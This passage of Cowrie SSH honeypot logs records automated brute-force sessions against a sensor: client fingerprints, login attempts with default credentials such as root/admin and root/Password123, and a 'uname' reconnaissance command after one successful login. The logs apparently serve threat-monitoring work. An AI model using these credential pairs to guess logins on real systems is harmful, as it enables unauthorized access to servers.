m","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:58:58.154971Z","src_ip":"37.77.150.119","session":"a781bffd4675","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:58:58.558568Z","src_ip":"37.77.150.119","session":"a781bffd4675","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"37.77.150.119","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:58:58.694983Z","session":"a781bffd4675","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:58:58.830899Z","src_ip":"37.77.150.119","session":"a781bffd4675","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:58:58.968420Z","src_ip":"37.77.150.119","session":"a781bffd4675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":57244,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ea58dcda067","protocol":"ssh","message":"New connection: 2.57.122.210:57244 (159.203.135.109:22) [session: 9ea58dcda067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:58:59.053310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:58:59.057517Z","src_ip":"2.57.122.210","session":"9ea58dcda067","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:58:59.161286Z","src_ip":"2.57.122.210","session":"9ea58dcda067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:58:59.471239Z","src_ip":"2.57.122.210","session":"9ea58dcda067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:59:00.576606Z","src_ip":"2.57.122.210","session":"9ea58dcda067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":58650,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8644d9eab0f","protocol":"ssh","message":"New connection: 64.188.83.153:58650 (10.17.0.5:22) [session: f8644d9eab0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:02.088810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:02.095817Z","src_ip":"64.188.83.153","session":"f8644d9eab0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:02.182166Z","src_ip":"64.188.83.153","session":"f8644d9eab0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ems","password":"ems1234","message":"login attempt [ems/ems1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:02.563053Z","src_ip":"64.188.83.153","session":"f8644d9eab0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:03.653574Z","src_ip":"64.188.83.153","session":"f8644d9eab0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":39034,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4136c1d3928","protocol":"ssh","message":"New connection: 162.120.6.20:39034 (159.203.135.109:22) [session: c4136c1d3928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:07.274672Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:07.349127Z","src_ip":"162.120.6.20","session":"c4136c1d3928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":39044,"dst_ip":"159.203.135.109","dst_port":22,"session":"29df7accfd59","protocol":"ssh","message":"New connection: 162.120.6.20:39044 (159.203.135.109:22) [session: 29df7accfd59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:07.416952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:07.424872Z","src_ip":"162.120.6.20","session":"29df7accfd59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:07.495229Z","src_ip":"162.120.6.20","session":"29df7accfd59","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Password123","message":"login attempt [root/Password123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:07.715399Z","src_ip":"162.120.6.20","session":"29df7accfd59","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:07.914756Z","src_ip":"162.120.6.20","session":"29df7accfd59","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:07.918699Z","src_ip":"162.120.6.20","session":"29df7accfd59","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:07.993725Z","src_ip":"162.120.6.20","session":"29df7accfd59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:07.998973Z","src_ip":"162.120.6.20","session":"29df7accfd59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":43648,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd21b6a80dd6","protocol":"ssh","message":"New connection: 45.148.10.121:43648 (159.203.135.109:22) [session: bd21b6a80dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:27.680725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:27.686260Z","src_ip":"45.148.10.121","session":"bd21b6a80dd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:27.764527Z","src_ip":"45.148.10.121","session":"bd21b6a80dd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:28.002912Z","src_ip":"45.148.10.121","session":"bd21b6a80dd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:29.083768Z","src_ip":"45.148.10.121","session":"bd21b6a80dd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":52978,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfcef838a893","protocol":"ssh","message":"New connection: 193.32.162.145:52978 (10.17.0.5:22) [session: cfcef838a893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:59.478372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:59.534201Z","src_ip":"193.32.162.145","session":"cfcef838a893","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:00:59.686262Z","src_ip":"193.32.162.145","session":"cfcef838a893","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"shredstream","message":"login attempt [sol/shredstream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:01:00.153775Z","src_ip":"193.32.162.145","session":"cfcef838a893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:01:01.267764Z","src_ip":"193.32.162.145","session":"cfcef838a893","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":59814,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f43e13ea02f","protocol":"ssh","message":"New connection: 2.57.122.210:59814 (159.203.135.109:22) [session: 1f43e13ea02f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:01:11.640201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:01:11.645461Z","src_ip":"2.57.122.210","session":"1f43e13ea02f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:01:11.759490Z","src_ip":"2.57.122.210","session":"1f43e13ea02f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:01:12.058986Z","src_ip":"2.57.122.210","session":"1f43e13ea02f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:01:13.161275Z","src_ip":"2.57.122.210","session":"1f43e13ea02f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.77.150.119","src_port":13969,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7344c0f97ec","protocol":"ssh","message":"New connection: 37.77.150.119:13969 (10.17.0.5:22) [session: f7344c0f97ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:01:21.774832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:01:21.779366Z","src_ip":"37.77.150.119","session":"f7344c0f97ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:01:21.919853Z","src_ip":"37.77.150.119","session":"f7344c0f97ec","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:01:22.339643Z","src_ip":"37.77.150.119","session":"f7344c0f97ec","protocol":"ssh"}
